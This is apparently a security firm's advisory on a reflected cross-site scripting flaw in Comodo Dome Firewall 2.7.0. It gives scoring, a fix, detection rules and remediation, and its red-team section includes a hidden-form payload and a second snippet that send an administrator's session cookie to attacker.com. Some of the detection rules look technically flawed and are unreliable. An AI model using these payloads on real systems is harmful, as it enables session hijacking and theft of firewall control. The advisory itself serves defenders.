CVE-2019-25428

Executive Summary

CVE-2019-25428 is a reflected cross-site scripting (XSS) vulnerability affecting Comodo Dome Firewall version 2.7.0. The flaw resides in the /openvpn_users endpoint, where multiple POST parameters are not properly sanitized before being reflected back to the user. An attacker can craft a malicious POST request containing JavaScript payloads in the username, remotenets, explicitroutes, static_ip, custom_dns, or custom_domain parameters. When a victim (typically an administrator) submits the crafted request, the injected script executes in their browser context, potentially leading to session hijacking, credential theft, or further compromise of the firewall management interface.

This vulnerability is particularly dangerous because it targets the administrative web interface of a network security appliance. Successful exploitation could allow an attacker to bypass security controls, exfiltrate sensitive configuration data, or pivot to internal networks. The vendor has not released a patch, and the vulnerability remains unpatched as of the latest available information.

CVSS Breakdown & Threat Level

CVSS v3.1 Score: 6.1 (Medium)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions are required; the attacker only needs to send a crafted POST request.
• Privileges Required (PR): None – No authentication is needed to trigger the reflection.
• User Interaction (UI): Required – The victim must submit the crafted request (e.g., click a link or submit a form).
• Scope (S): Changed – The injected script executes in the victim’s browser, which is a different security context than the vulnerable application.
• Confidentiality (C): Low – Limited data exposure (e.g., session tokens, configuration details).
• Integrity (I): Low – Limited ability to modify data or perform actions on behalf of the victim.
• Availability (A): None – No impact on system availability.

Threat Level: Medium. The requirement for user interaction reduces the immediate risk, but the lack of a patch and the critical nature of the affected device (firewall) elevate the overall threat.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS in the /openvpn_users endpoint of the Comodo Dome Firewall web interface. The application accepts POST parameters for creating or managing OpenVPN users. These parameters are reflected in the response HTML without proper encoding or sanitization.

Vulnerable Parameters:

• username
• remotenets
• explicitroutes
• static_ip
• custom_dns
• custom_domain

Attack Flow:

1. The attacker crafts a malicious URL or form that submits a POST request to the /openvpn_users endpoint.
2. The POST body contains a JavaScript payload in one of the vulnerable parameters, e.g., username=<script>alert('XSS')</script>.
3. The victim (an administrator) is tricked into submitting the request (e.g., via a phishing email with a link to a crafted page).
4. The server reflects the unsanitized input in the response HTML.
5. The victim’s browser executes the injected script, which can steal cookies, capture keystrokes, or perform actions on behalf of the victim.

Why It Matters: The Comodo Dome Firewall is a network security appliance. An XSS in its management interface can lead to full compromise of the firewall’s administrative functions, allowing an attacker to modify firewall rules, disable security features, or exfiltrate VPN credentials.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable PHP code (hypothetical)
$username = $_POST['username'];
echo "<input type='text' name='username' value='$username'>";

Patched Code (Conceptual):

// Patched PHP code using htmlspecialchars
$username = htmlspecialchars($_POST['username'], ENT_QUOTES, 'UTF-8');
echo "<input type='text' name='username' value='$username'>";

Explanation: The vulnerable code directly echoes the user input without encoding HTML special characters. The patched code uses htmlspecialchars() to convert characters like <, >, ", and & into their HTML entity equivalents, preventing script execution.

Note: Since no official patch has been released, the above is a best-practice remediation. Users should apply input validation and output encoding as a workaround.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A target Comodo Dome Firewall 2.7.0 with the web interface accessible.
• A victim user (administrator) who will interact with the crafted request.

Exploit Payload Example:

<form action="https://target-firewall/openvpn_users" method="POST">
  <input type="hidden" name="username" value="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>">
  <input type="hidden" name="remotenets" value="test">
  <input type="hidden" name="explicitroutes" value="test">
  <input type="hidden" name="static_ip" value="test">
  <input type="hidden" name="custom_dns" value="test">
  <input type="hidden" name="custom_domain" value="test">
  <input type="submit" value="Click me">
</form>

Steps:

1. Host the above HTML on an attacker-controlled server.
2. Send the link to the victim (e.g., via phishing email).
3. When the victim submits the form, the script executes and sends the cookie to the attacker’s server.
4. The attacker can then use the stolen cookie to hijack the admin session.

Advanced Payload (Session Hijacking):

// Payload to steal session cookie
var img = new Image();
img.src = "https://attacker.com/steal?cookie=" + document.cookie;

Blue Team (Defensive)

Detection:

• Monitor web logs for POST requests to /openvpn_users containing suspicious characters like <script>, onerror=, or javascript:.
• Look for anomalous parameters with HTML tags or JavaScript code.
• Use a Web Application Firewall (WAF) to block requests with XSS patterns.

Mitigation:

• Apply input validation: whitelist allowed characters for each parameter (e.g., alphanumeric for username).
• Implement output encoding: use context-appropriate encoding (HTML entity, JavaScript, URL) when reflecting user input.
• Restrict access to the management interface to trusted IPs only.
• Use Content Security Policy (CSP) headers to limit script execution.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /openvpn_users with parameters containing <script>, onerror, onload, or javascript:.
• Outbound connections from the firewall to unknown IPs on ports 80/443 (exfiltration).
• Referer headers pointing to attacker-controlled domains.

Host IOCs:

• Unexpected JavaScript code in the browser’s local storage or session storage.
• Modified firewall configuration (e.g., new VPN users, changed rules).
• Unusual processes running on the firewall (if code execution is achieved).

Log IOCs:

• Web server logs showing repeated POST requests to /openvpn_users with encoded payloads.
• Error logs indicating failed input validation attempts.

Detection Engineering

YARA Rule

rule CVE_2019_25428_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting Comodo Dome Firewall openvpn_users endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2019-25428"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/i
        $xss4 = /javascript\s*:\s*/i
        $param1 = "username="
        $param2 = "remotenets="
        $param3 = "explicitroutes="
        $param4 = "static_ip="
        $param5 = "custom_dns="
        $param6 = "custom_domain="
    condition:
        any of ($xss*) and any of ($param*)
}

Sigma Rule

title: Reflected XSS in Comodo Dome Firewall openvpn_users
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to /openvpn_users with XSS payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/openvpn_users'
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in admin interface (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2019-25428 - Reflected XSS in Comodo Dome Firewall openvpn_users";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/openvpn_users";
    http_uri;
    content:"<script";
    http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2019-25428;
    classtype:web-application-attack;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the Management Interface: Restrict access to the firewall’s web interface to trusted IPs only (e.g., via firewall rules or VPN).
2. Apply Input Validation: If possible, modify the application code to sanitize all POST parameters. Use a whitelist approach (e.g., allow only alphanumeric characters for username).
3. Implement Output Encoding: Ensure all user-supplied data is HTML-entity encoded before being reflected in responses.
4. Deploy a WAF: Use a Web Application Firewall (e.g., ModSecurity) with rules to block XSS payloads.

Long-Term Actions:

1. Vendor Contact: Reach out to Comodo for an official patch. If unavailable, consider migrating to a different firewall solution.
2. Regular Updates: Monitor for any security updates from Comodo and apply them promptly.
3. Security Hardening: Disable unused features (e.g., OpenVPN user management if not needed) to reduce the attack surface.
4. User Training: Educate administrators about phishing risks and the dangers of clicking untrusted links.

Workaround: If patching is not possible, consider using a reverse proxy (e.g., Nginx) in front of the firewall to filter malicious requests.

Valters IT
Securing Your Digital Frontier